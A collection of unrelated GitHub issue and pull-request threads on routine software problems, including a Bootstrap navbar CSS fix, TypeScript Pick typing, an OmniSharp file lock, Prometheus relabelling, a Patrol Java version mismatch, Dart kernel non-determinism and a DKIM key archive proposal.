You'll see at 980px you get the collapsed menu with the 'close/open' fault. Set the width to 979px its works as expected, and at 981px you get the normal 'un-collapsed' menus.
I've tested my suggested fix locally and at >= 980px the standard menus are used. At <=979px the collapsed menus are used and work perfectly.

Oh gotchya, I see what you're saying. Unless I'm missing something, that still doesn't seem to relate to this issue though (https://github.com/twitter/bootstrap/issues/1690). My guess is the best thing to do is create a new issue, or submit a pull request with your fix.

Yes, I seemed to miss the pop-up menu thing, but I think it is sort of related. I think both problems are to do with the @media definitions.
I follow the proposed fix for the pop-up problem, but could I suggest an alternative:
The problem seems to be that when the menu bar collapses it sets the overflow to 'hidden' but when it returns to the normal form it doesn't reset the overflow.
so doing this seems to fix it.
@media (min-width: 980px) {
.nav-collapse.collapse {
height: auto !important;
overflow: visible;  // add this line
}
}

I like it! good call. Even simpler than my solution. Updated my commits to match your fix.

Please check this against the latest 2.0.1-wip—it sounds like it resolves the conversations around 980/979px problem. Curious if it addresses your other issues as I don't see those.

The 980/979px problem looks like it's fixed, but I'm still able to reproduce the dropdown problem (#1690)

I believe this has been resolved in 2.0.2-wip with #2065.


GRASP-13023 Add retcode service

Implemented retcode service.
Tested using ConfigurationUploader.cpp in different scenarios.

This PR seems to contain #50, so let's merge it after #50 is merged.

PR #50 merged.
Rebased.

Moved ErrorCodeInfo into RwsAdapter and resolved other issues.


Pick<T, never> doesn't work as expected

TypeScript Version:  4.0.0-dev.20200524
Search Terms: Pick utility, never
Code
interface Person {
  name: string;
}

type T = Pick<Person, never>;
const a: T = {}; // this should work
const b: T = "Hello"; // this shouldn't work
const c: T = { name: "Eddie" }; // this shouldn't work

link
Expected behavior:
I feel like Pick<T, never> should be equal to T. So Omit<T, keyof T> should become an empty object.
Actual behavior:
Pick<T, never> becomes any as if there is some sort of bug that prevents the type check to execute normally
Playground Link: An additional example which uses the Pick<T, never> through the usage of the Omit utility in a real use case and demonstrates why it is important for Pick to work as I mentioned: link

It doesn't become any, it becomes {}. You cannot assign null or undefined to it, but everything else is assignable to the empty interface.
I believe the empty interface is special in the sense that excess properties aren't checked. But everything else is just a consequence of all values (except for null and undefined) implementing the empty interface.

Yeah. It makes sense that the type becomes {}.
BTW, I still don't understand why string should be assignable to the {}.
Had you checked the second playground link I shared? the most reasonable behavior for the Omit expression in that example is to remove all of the properties and only accept an empty object as the parameter.

Strings are assignable to {} because they implement all the necessary properties and methods (none in this case).
In any case, there's no way to force a type not to have properties.
interface Person {
  id: string;
}

const joe = { id: '42', name: 'Joe' };
const person: Person = joe; // compiles
const otherPerson: Person = { id: '42', name: 'Joe' }; // errors because there's excess properties

Excess properties checks only apply to fresh objects, but they don't seem to apply to the empty interface. I believe this is by design.

Than you @ilogico.
Yeah it's probably by design though it doesn't make sense to me, but I'm sure the guys at the core are seeing the bigger picture and this is probably the best solution.
However, I was able to achieve my desired behaviour by doing this:
Exclude<keyof Person, keyof B> extends never ? Record<string, never> : Omit<Person, keyof B>;

A type that only matches the empty object would be very useful. Do you know of any feature request issue for it that I can track?

Just another example
interface Person {
  name: string;
}
const f: Person = () => {}; // works because functions have a name property, which is a string
const w: Person = window; // the window has name as well


Revert "genericx86-64-ext: Deploy both flasher and non-flasher artifacts"

Reverts balena-os/balena-generic#53
Reverting this for now until we have the full solution ready. We don't want to accidentally publish the non-flasher images early.
Improvement: https://jel.ly.fish/improvement-expose-flasher-raw-images-dashboard-generic-dts-90f2f44

@balena-ci I self-certify!


Download presets

Is your feature request related to a problem? Please describe
when the software crashes or when I restart or I close Grabber, I lose the list of download groups/images along with the settings per download I wanted to keep for later
Describe the solution you'd like
a set of options to make download presets, like a dropdown menu of created presets, a plus button, a minus button, and a duplicate button

making a new preset clears all the downloads from the list, and as you add stuff to the list, it adds the group/image to the preset
deleting a preset clears the download list along with the preset from the preset list
duplicating a preset makes a new preset with the same settings as the original preset, so you can make variations

startup list is empty unless configured otherwise
This would be useful if someone is almost constantly downloading lots of images from different sources and don't want to go through the hassle of setting up the downloads over and over.
I can't necessarily mention other apps off the top of my head that has this enhancement other than Dainapp, a Video interpolation app that can save presets of interpolation settings so you don't have to change them all again every time so you open the software.
A vague comparison would be Adobe Photoshop's Actions, where you record actions in photoshop, when you open the program, open the actions window, select an action and run it, then it does everything that happened in the recording again with the same files.
Describe alternatives you've considered
I'm not too familiar with the world of booru grabbers, so I'll assume this means workarounds

saving them as favourites and running through them one by one, and setting them to download again, then editing the download settings from there again.
making a batch script that downloads the images with the correct settings, although I haven't gotten the command line version to work yet.

What about monitors ? They are groups you set to do a specific task, like downloading all images for a certain tags, you can set when the search fo new items, if they can or can't re-download an image (using post-filter), they accept multiples tags, save images on the path you want, etc. You still have to set them one by one, but they stay forever in the app. (But you still wanna make a backup of the json file just in case...)
And sadly there is no documentation for them, but t hey are powerfull at setting up list of download that can be triggered manually or on timer.
So simple explaination for making a monitor :

Search what you want like when you setup your download, check the board(s), etc.
Instead of clicking on "Get all" or "Get this page", etc push "Monitor"
on the monitor tab you will have a new entry, you can right click it to edit it.

You will get three tabs,
General : with the search, the filters you can add (note that post-filter are on grabber side, not the board side), when it was last checked, a button to edit the sources, for adding or removing sources, interval for the monitor, and delay for the startup.
Notification : send notification to your system.
Download : Here you can set the path and naming scheme for each monitor, or let it empty to use your default ones. You can also force a monitor to get blacklisted item.
The you can let the program do it's thing, or force the start by using "start now". You can change teh displayed column by right-clicking on a column title.

Closing since inactive and found Save/Load downloads list.


[ADD API] : A basic API template for Uploading files and generating Tiny URL's

API Summary 📝
A tool that can genrate tiny url for the files you upload.HTML files are also supported.
Development Approach 🚀
It uses node express and also multer for file storage and a tinyurl npm package
Deployment Status
Yes
Select the open source program you are contributing to
Other
Code of Conduct

[X] I adhere to the CONTRIBUTING GUIDELINES of this project.

Hey @sanjay14073👋! Thanks for raising this issue and demonstrating your interest in contributing to our project!🚀
We value your engagement and eagerly anticipate your contributions. Should you wish to get involved, please use the /assignme command to self-assign the issue.
This issue provides an excellent opportunity for us to enhance our project, and we're excited to have you join us! Please take a moment to review our CONTRIBUTING GUIDELINES before getting started.
If you have any questions or need assistance, feel free to reach out to us on LinkedIn.❤

/assignme

Hello @sanjay14073! We'd like to inform you that the issue has been resolved and is now closed. We appreciate your understanding and look forward to your continued involvement with our repository!🤗
If you encounter any further issues, please don't hesitate to reach out to us on LinkedIn. Thank you for your support!❣
Happy coding!✨ We hope to see you again soon!❣


"Success":false in omnisharp log while saving a controller

Environment data
.NET SDK (reflecting any global.json):
 Version:   6.0.101
 Commit:    ef49f6213a

Runtime Environment:
 OS Name:     Windows
 OS Version:  10.0.22000
 OS Platform: Windows
 RID:         win10-x64
 Base Path:   C:\Program Files\dotnet\sdk\6.0.101\

Host (useful for support):
  Version: 6.0.1
  Commit:  3a25a7f1cc

.NET SDKs installed:
  6.0.101 [C:\Program Files\dotnet\sdk]

.NET runtimes installed:
  Microsoft.AspNetCore.App 6.0.1 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
  Microsoft.NETCore.App 3.1.22 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
  Microsoft.NETCore.App 6.0.1 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
  Microsoft.WindowsDesktop.App 3.1.22 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
  Microsoft.WindowsDesktop.App 6.0.1 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]

VS Code version: 1.63.2
C# Extension version: 1.23.17
OmniSharp log
[info]: OmniSharp.Roslyn.CSharp.Services.Refactoring.RunFixAllCodeActionService
        Found 8 diagnostics to fix.
[info]: OmniSharp.Roslyn.CSharp.Services.Refactoring.RunFixAllCodeActionService
        Fixing IDE0044.
[info]: OmniSharp.Roslyn.CSharp.Services.Refactoring.RunFixAllCodeActionService
        Fixing IDE0090.
[info]: OmniSharp.Roslyn.CSharp.Services.Refactoring.RunFixAllCodeActionService
        Fixing IDE0046.
[info]: OmniSharp.Roslyn.CSharp.Services.Refactoring.RunFixAllCodeActionService
        Fixing IDE0008.
[info]: OmniSharp.Roslyn.CSharp.Services.Refactoring.RunFixAllCodeActionService
        Fixing IDE0011.
[info]: OmniSharp.Roslyn.CSharp.Services.Refactoring.RunFixAllCodeActionService
        Fixing CS1998.
[warn]: OmniSharp.Stdio.Host
        ************ Request ************
{
  "Type": "request",
  "Seq": 6296,
  "Command": "/runfixall",
  "Arguments": {
    "FileName": "e:\\Projects\\dotnet\\SuperHeroAPI\\SuperHeroAPI\\Controllers\\SuperHeroController.cs",
    "Scope": "Document",
    "WantsAllCodeActionOperations": true,
    "WantsTextChanges": true,
    "ApplyChanges": false
  }
}
[fail]: OmniSharp.Stdio.Host
        ************  Response (653.6963ms) ************
{
  "Request_seq": 6296,
  "Command": "/runfixall",
  "Running": true,
  "Success": false,
  "Message": "\"System.ArgumentException: Syntax node is not within syntax tree\\r\\n   at Microsoft.CodeAnalysis.CSharp.CSharpSemanticModel.CheckSyntaxNode(CSharpSyntaxNode syntax)\\r\\n   at Microsoft.CodeAnalysis.CSharp.SyntaxTreeSemanticModel.GetDeclaredSymbol(MemberDeclarationSyntax declarationSyntax, CancellationToken cancellationToken)\\r\\n   at Microsoft.CodeAnalysis.CSharp.CSharpSemanticModel.GetDeclaredSymbolCore(SyntaxNode node, CancellationToken cancellationToken)\\r\\n   at Microsoft.CodeAnalysis.RemoveAsyncModifier.AbstractRemoveAsyncModifierCodeFixProvider`2.GetMethodSymbol(SyntaxNode node, SemanticModel semanticModel, CancellationToken cancellationToken)\\r\\n   at Microsoft.CodeAnalysis.RemoveAsyncModifier.AbstractRemoveAsyncModifierCodeFixProvider`2.<RegisterCodeFixesAsync>d__5.MoveNext()\\r\\n--- End of stack trace from previous location where exception was thrown ---\\r\\n   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()\\r\\n   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)\\r\\n   at OmniSharp.Roslyn.CSharp.Services.Refactoring.RunFixAllCodeActionService.<FixSpecificDiagnosticIdAsync>d__4.MoveNext() in D:\\\\a\\\\1\\\\s\\\\src\\\\OmniSharp.Roslyn.CSharp\\\\Services\\\\Refactoring\\\\RunFixAllCodeActionService.cs:line 150\\r\\n--- End of stack trace from previous location where exception was thrown ---\\r\\n   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()\\r\\n   at OmniSharp.Roslyn.CSharp.Services.Refactoring.RunFixAllCodeActionService.<Handle>d__3.MoveNext() in D:\\\\a\\\\1\\\\s\\\\src\\\\OmniSharp.Roslyn.CSharp\\\\Services\\\\Refactoring\\\\RunFixAllCodeActionService.cs:line 75\\r\\n--- End of stack trace from previous location where exception was thrown ---\\r\\n   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()\\r\\n   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)\\r\\n   at OmniSharp.Endpoint.EndpointHandler`2.<AggregateResponsesFromLanguageHandlers>d__18.MoveNext()\\r\\n--- End of stack trace from previous location where exception was thrown ---\\r\\n   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()\\r\\n   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)\\r\\n   at OmniSharp.Endpoint.EndpointHandler`2.<HandleRequestForLanguage>d__20.MoveNext() in D:\\\\a\\\\1\\\\s\\\\src\\\\OmniSharp.Host\\\\Endpoint\\\\EndpointHandler.cs:line 227\\r\\n--- End of stack trace from previous location where exception was thrown ---\\r\\n   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()\\r\\n   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)\\r\\n   at OmniSharp.Endpoint.EndpointHandler`2.<Process>d__16.MoveNext() in D:\\\\a\\\\1\\\\s\\\\src\\\\OmniSharp.Host\\\\Endpoint\\\\EndpointHandler.cs:line 131\\r\\n--- End of stack trace from previous location where exception was thrown ---\\r\\n   at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()\\r\\n   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)\\r\\n   at OmniSharp.Stdio.Host.<HandleRequest>d__14.MoveNext() in D:\\\\a\\\\1\\\\s\\\\src\\\\OmniSharp.Stdio\\\\Host.cs:line 218\"",
  "Body": null,
  "Seq": 7484,
  "Type": "response"
}
[warn]: OmniSharp.Stdio.Host
        ************ Request ************
{
  "Type": "request",
  "Seq": 6300,
  "Command": "/filesChanged",
  "Arguments": [
    {
      "FileName": "e:\\Projects\\dotnet\\SuperHeroAPI\\SuperHeroAPI\\Controllers\\SuperHeroController.cs",
      "changeType": "Change"
    }
  ]
}
[fail]: OmniSharp.Stdio.Host
        ************  Response (0.5801ms) ************
{
  "Request_seq": 6300,
  "Command": "/filesChanged",
  "Running": true,
  "Success": false,
  "Message": "\"System.IO.IOException: The process cannot access the file 'e:\\\\Projects\\\\dotnet\\\\SuperHeroAPI\\\\SuperHeroAPI\\\\Controllers\\\\SuperHeroController.cs' because it is being used by another process.\\r\\n   at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)\\r\\n   at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)\\r\\n   at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)\\r\\n   at System.IO.StreamReader..ctor(String path, Encoding encoding, Boolean detectEncodingFromByteOrderMarks, Int32 bufferSize, Boolean checkHost)\\r\\n   at System.IO.File.InternalReadAllText(String path, Encoding encoding, Boolean checkHost)\\r\\n   at OmniSharp.Roslyn.BufferManager.<UpdateBufferAsync>d__8.MoveNext() in D:\\\\a\\\\1\\\\s\\\\src\\\\OmniSharp.Roslyn\\\\BufferManager.cs:line 47\"",
  "Body": null,
  "Seq": 7497,
  "Type": "response"
}

Steps to reproduce

Open controller
Hit Ctrl + S

Expected  behavior
Format/refactor or let say analyze with "Success": true
Actual behavior
"Success": false (Refer omnisharp log above)

The fixall operation was failing due to a file lock on the file being saved.  If you are still having problems, please open a new issue at https://github.com/omnisharp/omnisharp-roslyn/issues


Including service worker file "firebase-messaging-sw.js"

Hi guys!.
I have a very real strange issue. When I deploy my project to a firebase hosting i've not problem. But when I deploy de SAME EXACT code in my public server i got the famous error code:
If I try to open the file in the firebase hosting, it opens succesfully:
https://XXXXX.firebaseapp.com/firebase-messaging-sw.js
But when I try to open in my public server, automatically redirects to the login page and it seems the file doesnt exist.

In my angular.json i have this:

The file existis in my src folder:

And when i run ng build --prod the file appears in the dist folder:

I dont know what to do !.
Can anyone help me?
Thanks (sorry my english, i speak spanish)

Hi,
I had the same problem.
See if this helps:
in angular.json file add "src/firebase-messaging-sw.js"
        "assets": [
          "src/favicon.ico",
          "src/assets",
          "src/firebase-messaging-sw.js"
        ],

Hope it helps as it did in my case.
Stay safe!
Rodolfo


reduce sampling

Hi, not an issue but question about possible workarounds.
I have on-prem with Managed Service for Prometheus and node_exporter deployed.
One of metric I need is node_cpu_secods_total/counter. Everything works fine I can monitor this metric in GCP Monitoring. The problem is that this single metric produces milions of samples monthly.
My setup: 2 servers, Thread(s) per core: 2, Core(s) per socket: 12 ,so 24 cpus, 8 modes (idle, iowait, irq).
Scraping interval 30s.
To sum up, 2x24x8 = 384 samples/30s ~= 13 samples/sec.
I know that I can change interval to e.g. 60s but still 90% of ingested samples comes from this single metric.
The question is, can I pull only idle mode? I don't need the rest of the modes.
I assume that I can't do anything with dividing 2 physical CPU to 24 (cores*threads).
Thanks for any advice.

You should be able to do this with a drop or keep action in the metricRelabeling section.
something like
metric_relabel_configs:

source_labels: [mode]
regex: 'idle'
action: keep

Although syntax may vary depending on how you configure Prometheus

Resolving per the advice provided in the previous comment. Please re-open if there are further questions.


Cascade namespace tags to individual API members in rendered doc

Search Terms
tag namespace cascade
Problem
In using Typedoc to generate reference documentation for the Microsoft Teams JavaScript client library, we occasionally create documentation bugs when a developer tags a namespace (as @deprecated, or @beta, for example) and then forgets to manually tag each individual member API with that same tag. As some of our generated documentation pages are rather long, our customers might not notice (or realize) that the entire namespace (implying all member API too) are marked for a certain state.
Suggested Solution
The team building the @microsoft/teams-js library would like to propose a Typedoc enhancement whereby tagging a namespace then applies the same tag to constituent member API sections of the doc as well, perhaps overridden by any tags specified directly on individual API members in source. Thanks for your consideration!

It seems reasonable to me to cascade modifier tags (likely to all children, not just namespace children)... There probably needs to be a way to configure mutually exclusive tags, since otherwise there wouldn't be a way to tell if a @beta tag on a namespace copied to a class with @alpha should take precedence.
This might need to wait until 0.24 for a breaking change - TypeDoc's treatment of @public would be really bad to cascade... I've been wanting to change this for a while.

I ended up deciding as a first pass to make the mutually exclusive configuration present only in TypeDoc's source code, can always make it an option if someone needs it in the future, but start simple..
In 0.26, this will be controlled by the --cascadedModifierTags option, which defaults to copying "@alpha", "@beta", "@experimental"

Fixed with TypeDoc 0.26, which is releasing 2024/06/21

Thanks so much @Gerrit0!


Replication cleanup

Added in stefania's PR #688, fixed the regex, and then made other fixes so that these tests work on OSX, where nodetool calls always print to stderr

@mambocab to review, and make his style fixes

Please review carefully against the original PR, @mambocab, please. I missed some code in the original rebase. Tests are all passing locally now.

I made sure this PR contained Stefania's changes with
git fetch datastax-gh pull/688/head:pr-688
git fetch datastax-gh pull/693/head:pr-693
git diff pr-688 pr-693

Looks good to me there. The changed tests pass for me locally.


Show raid frames when not in a group

Please enable this as it's more consistent than using the player frame only when outside of groups.

I'd love to, but this is on Blizzards end unfortunately. It is Blizzard that shows when the raid frames show, RFI only can act upon raid frames that already exist, not instantiate them itself. I wish I had better news :-/

I'm probably missing something, but it looks like calling this seems to show the raid frames successfully, does this cause other problems?
/script CompactRaidFrameManager:Show()
/script CompactRaidFrameContainer:Show()

Hrm is it really that easy? I'll investigate and if it is really that easy it's probably reasonable to add a config option for this. The only thing I'm worried about is triggering this to show and then having :Hide called at some other random time. I'd have to hook the show/hide functions which can get messy

This post from 2012 suggests it can taint the raid frames, but suggests another addon is able to work around it: https://eu.battle.net/forums/en/wow/topic/17613991229#post-2
I'll keep it enabled for a while and see if I get any errors.

Unfortunately this doesn't seem to be possible without extraordinary hacking to the default code. There is no elegant solution that doesn't result in copious amounts of taint :-/
I was really hoping this would work and I spent about 3 hours today trying my best to make it work, to no avail.


Add the ability to edit existing dialogue

Add the ability to edit and append to existing dialogue trees
Any nodes with new names will be added
Any nodes with names that are already in the tree will override the existing node with that name

Instead just add a parameter where you add the path to whatever game object has the component that makes them look at you. Then make them look at you when you do that dialogue. If you wanna replace a dialogue, add your new dialogue where it was and delete the old one.


Pytorch mp

Replace multiprocessing with torch.multiprocessing for better multiprocess support.
Remove useless deepcopy in train()

Pull Request Test Coverage Report for Build 511

5 of 5 (100.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.05%) to 96.772%

Totals

Change from base Build 510:
0.05%

Covered Lines:
1649

Relevant Lines:
1704

💛  - Coveralls


Keys that are not defined inside a specific environment are also exporte...

The application.yml can have some key global to every environment which are then defined on the root level, example:
mandrill_api_key: key_value

beta:
  database_password: password_value

production:
  database_password: password_value

In that case the mandrill_api_key is common to every environment. It should also be exported while doing cap beta setup.
I added a small modification to make this possible.
Now, a cap beta setup will upload
mandrill_api_key: key_value
beta:
  database_password: password_value

instead of
beta:
  database_password: password_value

Thanks for you helpful gem.

@jameslafa 3Q a lot~ ^^


Add module-info (or at least Automatic-Module-Name)

Unless I am mistaken, it doesn't look like this library is ready for use within modularized projects?  I'm filing this issue because I couldn't find any other existing discussion on this topic.
I was expecting to see at least Automatic-Module-Name in the manifest (which of course all Java library releases within the last few years really should have).
Adding a module-info.java would be better.  If this project is willing to make new releases only support Java 9 or later, that should be easy.  Otherwise it would require a multi-release jar which is a bit more complex.

Oops, nevermind, looks like this was already done.  Apparently I'm bad at GitHub searches.

It would have been nice if the README had clarified the minimum JDK that this library supports.


Upgrade to Patrol 2.0 - Android build failed - Could not open cp_proj generic class cache for build file

Steps to reproduce

Follow the official Migration guide.
Update Patrol to version 2.0.6.
Update Patrol CLI to version 2.0.3.
Build the artifacts through the following command:
patrol build android --target .\integration_test\xxx\xxx_test.dart --dart-define=xxx=xxx --dart-define=xxx=xxx --verbose
An exception is thrown from the Patrol source code.

Actual results
PS C:\dev\src\xxx\xxx> patrol build android --target .\integration_test\xxx\xxx_test.dart --dart-define=xxx=xxx --dart-define=xxx=xxx --verbose
You're using Patrol CLI 2.0, which has breaking changes.
Read the migration guide at https://patrol.leancode.co/v2.
Disable this warning by setting the PATROL_MIGRATED environment variable.

Verbose mode enabled. More logs will be printed.
Received 1 test target(s)
Received test target: C:\dev\src\xxx\xxx\.\integration_test\xxx\xxx_test.dart
Bundled 1 test(s) in C:\dev\src\xxx\xxx\integration_test\test_bundle.dart
Received 7 --dart-define(s) (2 custom, 5 internal)
Received custom --dart-define: xxx
Received custom --dart-define: xxx
Received internal --dart-define: PATROL_WAIT=0
Received internal --dart-define: PATROL_APP_PACKAGE_NAME=com.example.xxx
Received internal --dart-define: PATROL_ANDROID_APP_NAME=xxx
Received internal --dart-define: PATROL_TEST_LABEL_ENABLED=true
Received internal --dart-define: INTEGRATION_TEST_SHOULD_REPORT_RESULTS_TO_NATIVE=false
• Building apk with entrypoint test_bundle.dart...
$ .\gradlew.bat :app:assembleDebug -Ptarget=C:\dev\src\xxx\xxx\integration_test\test_bundle.dart -Pdart-defines=xxxxxxxxxxx

 FAILURE: Build failed with an exception.

        * What went wrong:
        A problem occurred configuring project ':patrol'.
        > Could not open cp_proj generic class cache for build file 'C:\Users\xxx\AppData\Local\Pub\Cache\hosted\pub.dev\patrol-2.0.6\android\build.gradle' (C:\Users\xxx\.gradle\caches\7.5\scripts\apzse0axp8xlarlxshyrv4xty).
           > BUG! exception in phase 'semantic analysis' in source unit '_BuildScript_' Unsupported class file major version 64
        > Failed to notify project evaluation listener.
           > Could not get unknown property 'android' for project ':patrol' of type org.gradle.api.Project.
           > Could not find method implementation() for arguments [project ':integration_test'] on object of type org.gradle.api.internal.artifacts.dsl.dependencies.DefaultDependencyHandler.
           > Could not get unknown property 'android' for project ':patrol' of type org.gradle.api.Project.

Logs
none
Patrol version
patrol: ^2.0.6
Patrol Doctor output

Patrol Doctor output
PS C:\dev\src\xxx\xxx> patrol --version
You're using Patrol CLI 2.0, which has breaking changes.
Read the migration guide at https://patrol.leancode.co/v2.
Disable this warning by setting the PATROL_MIGRATED environment variable.

patrol_cli v2.0.3

Flutter Doctor output

Flutter Doctor output
PS C:\WINDOWS\system32> flutter doctor
Doctor summary (to see all details, run flutter doctor -v):
[√] Flutter (Channel stable, 3.10.4, on Microsoft Windows [Version 10.0.19045.3086], locale en-GB)
[√] Windows Version (Installed version of Windows is version 10 or higher)
[√] Android toolchain - develop for Android devices (Android SDK version 33.0.2)
[√] Chrome - develop for the web
[√] Visual Studio - develop for Windows (Visual Studio Community 2022 17.6.2)
[√] Android Studio (version 2020.3)
[√] IntelliJ IDEA Community Edition (version 2021.2)
[√] VS Code
[√] VS Code, 64-bit edition (version 1.80.0)
[√] Connected device (3 available)
[√] Network resources

@bartekpacia any news on this?
I updated to the latest version 2.0.7 and still facing build issues regardless.

Hi, can you show me the output from java --version?
Probably you have Java 20 and its not compatible with your Gradle version (which is 7.5), you can try to downgrade to Java 17.
Here you can check compatibility matrix.

This worked for me. Thank you. @fylyppo

Downgrade to Java 17 solve the issue. Thank you @fylyppo


generated kernel file is not deterministic

From the same set of sources compiler produces kernel files that are slightly different where "no such method forwarders" for the same private name are transposed.
To repro
out/ReleaseX64/dart-sdk/bin/dart --dfe=out/ReleaseX64/kernel-service.dart.snapshot --snapshot-kind=script --kernel_multiroot_filepaths=`pwd`/p/d/dart-sdk/sdk --kernel_multiroot_scheme=dartlang --snapshot=tmfs.dill --sync-async  --strong  pkg/analysis_server/bin/server.dart && $DH/out/ReleaseX64/dart-sdk/bin/dart $DH/pkg/kernel/bin/dump.dart tmfs.dill > dump-mfs.txt

Compare dump-mfs.txt from several runs and observe the difference along the lines:
215137a215136,215137
>     no-such-method-forwarder get _returnType() → type::DartType
>       return this.{link::GenericTypeAliasElementForLink::noSuchMethod}(new core::_InvocationMirror::_withoutType("get:_returnType", const <core::Type>[], const <dynamic>[], core::Map::unmodifiable<core::Symbol, dynamic>(const <core::Symbol, dynamic>{}), false)) as{TypeError} type::DartType;
215170,215171d215169
<     no-such-method-forwarder set _returnType(type::DartType value) → void
<       return this.{link::GenericTypeAliasElementForLink::noSuchMethod}(new core::_InvocationMirror::_withoutType("set:_returnType", const <core::Type>[], core::List::unmodifiable<dynamic>(<dynamic>[value]), core::Map::unmodifiable<core::Symbol, dynamic>(const <core::Symbol, dynamic>{}), false));

The culprit seems to be _PrivateName._computeHashCode function which is built on top of Reference hashCode, which is simply inherited from Object: https://github.com/dart-lang/sdk/blob/master/pkg/kernel/lib/ast.dart#L4451.
One solution might be to remove reference.hashCode from _PrivateName._computeHashCode:
diff --git a/pkg/kernel/lib/ast.dart b/pkg/kernel/lib/ast.dart
index 959a84b1d0..b424ab1e37 100644
--- a/pkg/kernel/lib/ast.dart
+++ b/pkg/kernel/lib/ast.dart
@@ -4614,7 +4614,7 @@ class _PrivateName extends Name {
   Library get library => libraryName.asLibrary;

   static int _computeHashCode(String name, Reference libraryName) {
-    return 131 * name.hashCode + 17 * libraryName.hashCode;
+    return name.hashCode;
   }
 }

Another solution might be to define Reference hashCode similarly how it is defined for TreeNode: https://github.com/dart-lang/sdk/blob/master/pkg/kernel/lib/ast.dart#L107 that guarantees unique hashCode for every instance of Reference.
cc @alexmarkov @keertip @davidmorgan

cc @stefantsov

This should be treated as a P1, it blocks landing performance improvements in google3.

Thanks for the context.  I agree with the priority.

I'm actively working on it.  I hope to upload a fix within a few hours.

I have a workaround in CL 68940.  It removes the described non-determinism and seems slightly more preferable than the two described approaches.  Compared to using just name.hashCode it doesn't make _compareNames slower when a private and non-private names with the same .name are passed in (probably the same reasoning can be applied to using Names in Sets and Maps).  Compared to using enumeration on References as hashCode it should not result in accidental member reordering in our *.expect files when a CL changes the order in which References are created.  The downside of the CL is that member reordering in *.expect files may happen if the Library objects are created in different order, but I think it's something that we can fix later, when this P1 is addressed.

Ok, I didn't think about Reference objects created for not yet loaded libraries.  They don't have access to _libraryId.  Had to go with fix 1 from the above.
Also, it would be great to have a test for non-determinism.  I'll try to ask around about having it.

@stefantsov, with your fix patched in I no longer see a difference in the names. But, the order of the "no such method forwarders" is not the same when generating the kernel, and so that has to be fixed to make them deterministic.

@keertip Is there a repro?  With my CL landed I try to do what @aam has described, and the output from two different runs is the same.

@keertip do you see differences in the order of nsm-forwarders from multiple runs of patched version or you see difference between patched and unpatched version?
Later is probably expected.
I did few runs of patched versions, kernel dump files all look identical.

@stefantsov, was testing with a version where the kernel service was not updated with the changes. After updating the kernel service snapshot with the fix, can now generate deterministic kernel.

Thanks @keertip!  I'm happy that it worked.
I'm lowering the priority, because the workaround has landed.  I'll keep the issue open until we have a test that check for non-determinism or until we decide that it's not needed.

What's the status on this?

Considering we haven't heard anything for 3+ years I'll assume this one is fine and close.


Build DKIM archive website

DKIM is usually a nested DNS record. For instance, for replit, we can see here: https://easydmarc.com/tools/dkim-lookup?domain=replit.com that the DKIM is under the selector "google" and has the value:
Selector: google
Record value:
v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk6RNxaxuNyiPhlH6rlgMOXNTaffcVsK+3E6lK1x8c7MO0w7on9zmaiApGE/2hBWQqRpy6EmRdUf6MJH5TmwM++51W4xR0TmTd1JvsbBR/9yjpR++vOahVkrdh0xPaq1zghHYaqNgsOThivw8Hgd8xWQzPPDcw7T+czQS0/Xe/nijU0dVlQX/s+evJpxP7VV/FzlMQvknMj1bCqAgzUFa1mXMO/ZfzHirpGVcJ+h1fMYOIzU4iV3KUIn6i1mg3T+Kw41MFW04F/4nnIQKTTFNGuI+T+6Ss1M1VcjlAxlwYZCJPE0Iy3cOWRBWsgXFZWx2rATlEtkasmf1NFpJu1nATwIDAQAB

Scrape the alexa top 1M websites (and a list of 50 websites that we manually add) for their DKIM key every day, and archive all the answers in a simple UI where someone can just type in a website, and see all the past DKIM keys for it. Note that these DNS records change roughly daily, and we want all selectors, including non-Google ones. Looking for a simple frontend, as well as script that can be run daily without being ratelimited. I recommend hitting DNS directly.
One way to do this is in python, use something like pydig to query the data, store it in a postgreSQL database, and provide a fastapi webserver for browsing it. Approximately 400 non-compressible bytes per entry times 1M sites changing daily would be a max of 400MB per day of data (thanks npulido for the suggestion).
Eventually, include dynamic checking (i.e. for each site, store the gap between the last n checks, and check more often around the distribution of those times).

yes! so we created this local only app: https://github.com/zkemail/selector-scraper
that scrapes the selectors from the last 10,000 emails in your personal inbox then displays them in a very simple, very ugly list on a frontend
turns out like most things, you can get like a good 20% of all websites with like only 40 selectors
and all the rest are one-off
so if we just slightly modified this script to add these selectors to a database with the date then we read from that database, we could have a historical registry
so then we just need a very simple, pretty client side website (i.e. one existing one is https://easydmarc.com/tools/dkim-lookup but we can do better) that also offers historical results and any matched selectors in the db for any searched domain (which we can get since all your emails are timestamped)

